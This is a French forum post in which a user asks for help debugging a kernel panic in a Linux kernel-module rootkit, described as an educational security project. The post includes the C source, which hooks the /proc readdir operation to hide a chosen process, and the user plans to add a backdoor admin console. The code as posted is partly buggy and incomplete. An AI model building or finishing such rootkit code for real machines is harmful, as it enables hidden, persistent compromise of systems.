Projet sécurité Linux Rootkit
Bonsoir à tous,
permettez moi de venir quémander un peu d'aide, car actuellement les problèmes me dépassent techniquement. Je travaille actuellement sur un projet de sécurité portant plus particulièrement sur les rootkits noyau (LKM Rootkit), après avoir pas mal bosser sur la théorie, j'ai décidé de vouloir m'attaquer à la pratique (normalement c'est à partir de là que les ennuis arrivent) en développant un simple rootkit sur noyau linux 2.6.32-5-686, l'idée était de faire du Hooking sur la fonction readdir du dossier /proc afin de pouvoir le remplacer par ma fonction vérolé, le but final étant de charger mon noyau, lancer un processus complice qui en fonction de certaine commande ouvrirait une console d'admin. Actuellement, je suis bloqué depuis quelques jours sur un kernel panic de type ""BUG: unable to handle kernel paging request at XXXX". Je vous sollicite donc pour m'aider à résoudre ce problème à s'arracher les cheveux. D'après mes recherches et le debuggage que j'ai pu faire le problème viendrait de ma fonction readdir vérolé.
Le code mon module frauduleux.
Le panic kernel avec quelques affichages :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/proc_fs.h> #include <linux/string.h> #include <linux/file.h> #include <linux/fs.h> #include <linux/namei.h> #include <linux/version.h> #include <linux/list.h> static struct nameidata g_root_nd; //Déclaration des fonctions utiliser dans notre module. static void Save_PrevInfo_mymodule(); // fonction permettant de sauvegarder la place de notre module dans la liste chainé comportant tous les modules static void Proc_init(); static int new_readdir(struct file * fichier , void * tmp , filldir_t filldir ); static int Hackfilldir(void * __buff, const char *name, int namelen, loff_t offset, u64 ino, unsigned int d_type); /* Déclaration des variables permettant d'enregistrer les anciens paramètres que nous allons modifier, afin d'éviter lorsque on unload le module d'obtenir un Oops Noyau (Important) */ static char* Proc_toHide[10]; //nom du processus à masquer (à definir par la suite) static int Erreur; // Utilisation pour stocker une erreur se produisant dans une fonction static struct proc_dir_entry *pde; // pointeur utilisé afin de récupérer le ponteur ciblant le structure modélisant notre procfs (afin de pouvoir communiquer entre le userland et le kernelland) static struct proc_dir_entry *ptdir; static struct proc_dir_entry *root; static struct list_head *prev; // liste chainée, tous les modules sont compris dans une liste chainée de type list_head. static struct file_operations *root_fops; // pointeur sur la structure contenant les différentes opérations possible sur le fichier static filldir_t Save_filldir; static int (* Save_proc_readdir) (struct file *, void * , filldir_t); static void Save_PrevInfo_mymodule() { prev = THIS_MODULE->list.prev; } //(void *__buf, const char *name, int namelen,loff_t offset, u64 ino, unsigned d_type) //typedef int (*filldir_t)(void *, const char *, int, loff_t, u64, unsigned); //typedef int (*filldir_t)(void *, const char *, int, loff_t, u64, unsigned); static int Hackfilldir(void * __buff, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type) //merci la bibli de linux, tant de bonheur { printk("My Debugger : Hackfilldir1\n"); printk(KERN_ALERT "after filldir!\n"); if(strcmp(name, Proc_toHide)==0) // si nom du processus à cacher alors ne pas afficher (Merci captn Obvious) return 0; printk("My Debugger : Hackfilldir2\n"); return Save_filldir(__buff,name,namelen,offset,ino,d_type); } static int new_readdir(struct file * fichier , void * tmp , filldir_t filldir ) { printk("My Debugger : new_readdir\n"); Save_filldir=filldir; //sauvegarde de la fonction permettant de donner les informations sur chaque élément contenu dans /proc printk("%p Debug Hackfilldir", &Hackfilldir); printk("%p Debug Save_filldir", &Save_filldir); return Save_proc_readdir(fichier, tmp, Hackfilldir); //g_root_nd.path.dentry->d_inode->i_fop->readdir(fichier, tmp, Hackfilldir); } static void Proc_init() { printk("%p Debug Hackfilldir TEST \n", &Hackfilldir); pde = create_proc_entry("Hackme", 0444, NULL); //va permettre de créer une entrée dans /proc pour communication entre userland et kernelland ptdir = pde->parent; //On recupère la valeur du pointeur sur le structure du dossier /proc if(strcmp(ptdir->name, "/proc")!=0) { Erreur=1; } else { printk("%p Debug new_readdir \n", &new_readdir); root = ptdir; remove_proc_entry("Hackme", NULL); //on va maintenant modifier la fonction permettant de lister le contenu du repertoire proc root_fops = (struct file_operations *)root->proc_fops; // recupérer le pointeur de la structure contenant toutes les opérations possibles sur un fichier Save_proc_readdir = root_fops->readdir; // récupérer ptr fct permettant de lister le contenu printk("%p Debug Save_proc_readdir \n", Save_proc_readdir); root_fops->readdir = &new_readdir; //modifier fct par fonction vérolé printk("After ------------------------ \n"); } } /* La fonction Mod_init est chargée lorsque le module est chargé, c'ets donc ici que nous allons rendre invisible notre rootkit*/ static int __init Mod_init() { printk("LOAD HACK ME \n"); Save_PrevInfo_mymodule(); Proc_init(); return 0 ; } static void __exit Mod_exit() { //root_fops->readdir = Save_proc_readdir; // réaffecter l'ancienne fonction readdir non vérolé pour éviter Oops kernel } module_init(Mod_init) ; module_exit(Mod_exit) ; /*Les informations */ MODULE_LICENSE("X"); MODULE_AUTHOR("ThePie GarGir"); MODULE_DESCRIPTION("Project Dev LKM Rootkit");
Utilisation gdb pour obtenir le code assembleur de Mod_init :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Je vous remercie par avance pour votre aide. Vous comprendrez bien que ce projet est uniquement a but pédagogique afin de mieux comprendre l'attaquant pour savoir se défendre au mieux.
Code : Sélectionner tout - Visualiser dans une fenêtre à part
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Répondre avec citation
Partager